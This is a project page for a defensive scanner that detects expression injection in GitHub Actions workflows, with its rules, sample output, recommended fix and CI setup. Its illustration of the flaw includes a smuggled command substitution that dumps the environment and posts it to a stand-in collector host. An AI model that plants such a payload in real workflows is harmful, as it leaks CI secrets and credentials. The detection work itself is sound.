Open source · CI/CD detections
gha-injection-detector
An expression inside a run: block is expanded by the workflow engine before the shell parses the line. Whatever it evaluates to becomes script. This finds those sinks — and the dispatch, environment and role chain that turns one of them into a cloud account.
- Rules
- 4
- Output
- text · JSON · SARIF
- Dependencies
- none
- Network
- never opened
Run it in thirty seconds
One Python package, standard library only, no network access. Point it at a workflows directory and read the findings — there is nothing to configure first.
01 · From a checkout — nothing to install
cd gha-injection-detector python3 -m gha_injection .github/workflowsPython 3.9 or newer. It takes a file, a workflows directory, or a repository root; directories are searched for every
.ymland.yaml.02 · Or install the command
python3 -m venv .venv && . .venv/bin/activate python3 -m pip install . gha-injection-scan .github/workflowspipx install .does the same without a virtualenv. Note thatpip install -e .needs pip 23 or newer.03 · Or use it as a gate
gha-injection-scan .github/workflows \ --format sarif > gha-injection.sarif echo $? # 1 = findings at or above --fail-onExit codes:
0clean ·1findings at or above--fail-on·2invocation problem.
Flags
pathsrequiredFiles, directories or repository roots. Directories are searched recursively for *.yml and *.yaml.--formattexttext for a human, json for a pipeline, sarif for Code Scanning and other SARIF viewers.--fail-onhighLowest severity that produces exit code 1. critical for advisory mode, none to never fail.--excludenoneSkip any path containing this component. Repeatable.The defect, in six lines
The workflow file is two languages stacked. ${{ ... }} is the engine's template language, resolved when the runner compiles the workflow into a script. run:holds shell source, parsed afterwards. The expansion runs first, as text substitution, with no knowledge of the quoting rules of the language it is writing into.
- name: Apply record change
run: ./bin/apply-change --record-id "${{ inputs.record_id }}"Which bash actually receives as:
./bin/apply-change --record-id "$(printenv | base64 -w0 \
| curl -s -X POST --data-binary @- https://collector)"Bash sees a command substitution inside double quotes and runs it. The quotes did their job on a string that was already executable. Quoting an expression is not sanitisation — it is decoration.
Four rules
The first three are mechanical. The fourth is the one that required judgement, and it is the reason this is a scanner rather than a grep.
EXPRESSION_IN_RUNhighAny expression expanded inside a run: block or an actions/github-script script:, minus the author-controlled and GitHub-generated allowlistSECRET_IN_RUNhighA secret in a run: block — materialised in the step environment as plaintextUNTRUSTED_CONTEXThighgithub.event.*, github.head_ref, github.event_name inside run: — text written by whoever opened the PRDISPATCH_ENV_CHAINcriticalA trigger nobody reviews (dispatch, schedule, workflow_run) or one an outsider fires (pull_request_target, issue_comment) + a job-level environment: + an injectable finding in the same jobAny one of the three conditions in DISPATCH_ENV_CHAIN is ordinary.Together they are remote code execution with cloud credentials attached, reachable by whoever can dispatch the workflow — or, under pull_request_target, by whoever can open a pull request. That is the shape of the engagement this tool came out of.
What it prints
File, line and column for every sink, plus the job it belongs to. Exit code is machine-usable:1 at or above --fail-on (defaulthigh), 0 clean,2 invocation problem.
$ gha-injection-scan .github/workflows
CRITICAL DISPATCH_ENV_CHAIN .github/workflows/portal-operations.yml:14:1
HIGH EXPRESSION_IN_RUN .github/workflows/portal-operations.yml:21:33
.github/workflows/portal-operations.yml:14 environment: production
Unattended or outsider-triggered job reaches a protected environment with an injectable script (job: apply)
.github/workflows/portal-operations.yml:21 ${{ inputs.record_id }}
Expression interpolated into a run block (job: apply)
1 workflow(s) scanned — 2 finding(s): 1 critical, 1 high.The fix it recommends
Move the value into the environment, then validate it, then use it. This is the pattern GitHub's own hardening guidance calls the intermediate environment variable.
- name: Apply record change
env:
RECORD_ID: ${{ inputs.record_id }}
run: |
set -euo pipefail
case "$RECORD_ID" in
''|*[!0-9]*) echo "record_id must be numeric" >&2; exit 1 ;;
esac
./bin/apply-change --record-id "$RECORD_ID"The indirection stops execution. The casestatement stops interpretation — it keeps the value from becoming a path segment or a second argument downstream. The tool checks the first and cannot check the second: argument semantics live in the program being called.
What it cannot do
Static only
A finding proves a sink exists. It never proves reachability. The trigger and role question is answered for exactly one shape, and that shape is DISPATCH_ENV_CHAIN.
No cross-file dataflow
A value arriving through a
workflow_callinput or a composite action is seen at its last hop only.A deliberate blind spot
The allowlist accepts
matrix.*,env.*,strategy.*,runner.*andjob.statusas author-controlled, and run metadata GitHub generates (github.sha,github.run_id,steps.*.outcome) as safe. Branch names and logins are not on the list. A tool that fires on${{ matrix.node }}is a tool that gets switched off in a week.
Wire it into CI
The point of a scanner is to fail the build, not to produce a report nobody opens. Run it before the job is granted any credential it does not need — a scan that runs after the cloud login has already lost the argument.
name: workflow injection
on: [pull_request, push]
jobs:
scan:
runs-on: ubuntu-latest
permissions:
contents: read
steps:
- uses: actions/checkout@v4
- uses: actions/setup-python@v5
with:
python-version: "3.12"
- run: pipx install gha-injection-detector # once published
- run: gha-injection-scan .github/workflowsAdd --format sarif and github/codeql-action/upload-sarifto get the findings in the Security tab. The install line is the post-publication form — until the package is on an index, clone the repository and run python3 -m gha_injection from it.
The research behind it
The sink taxonomy, why quoting and post-hoc validation both fail, the OIDC trust half of the chain, and the false-positive policy that decided the allowlist — written up in full in the case study.
Source publication is pending review. The scanner is standard-library Python with no dependencies and no network access; the repository link will appear here once it is published.